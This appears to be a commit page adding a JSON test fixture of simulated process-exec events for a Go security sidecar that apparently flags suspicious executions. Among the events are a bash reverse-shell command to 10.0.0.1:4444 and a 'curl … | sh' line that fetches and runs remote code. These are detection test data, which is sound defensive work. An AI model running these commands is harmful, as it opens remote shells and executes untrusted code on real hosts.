feat(go): advance validation sidecar toward production
This commit is contained in:
parent
6a06eba255
commit
f85c2e831a
92 changed files with 8881 additions and 91 deletions
50
tests/fixtures/go/exec-events.json
vendored
Normal file
50
tests/fixtures/go/exec-events.json
vendored
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
[
|
||||
{
|
||||
"pid": 1001,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/tmp/.x/dropper",
|
||||
"argv": []
|
||||
},
|
||||
{
|
||||
"pid": 1002,
|
||||
"ppid": 1001,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/bash",
|
||||
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
|
||||
},
|
||||
{
|
||||
"pid": 1003,
|
||||
"ppid": 55,
|
||||
"uid": 33,
|
||||
"parent_comm": "nginx",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "id"]
|
||||
},
|
||||
{
|
||||
"pid": 1004,
|
||||
"ppid": 1000,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "curl http://example.invalid/x | sh"]
|
||||
},
|
||||
{
|
||||
"pid": 1005,
|
||||
"ppid": 99,
|
||||
"uid": 1000,
|
||||
"parent_comm": "cron",
|
||||
"filename": "/opt/custom/tool",
|
||||
"argv": ["danger", "now"]
|
||||
},
|
||||
{
|
||||
"pid": 1006,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/usr/bin/ls",
|
||||
"argv": ["-la"]
|
||||
}
|
||||
]
|
||||
Loading…
Add table
Add a link
Reference in a new issue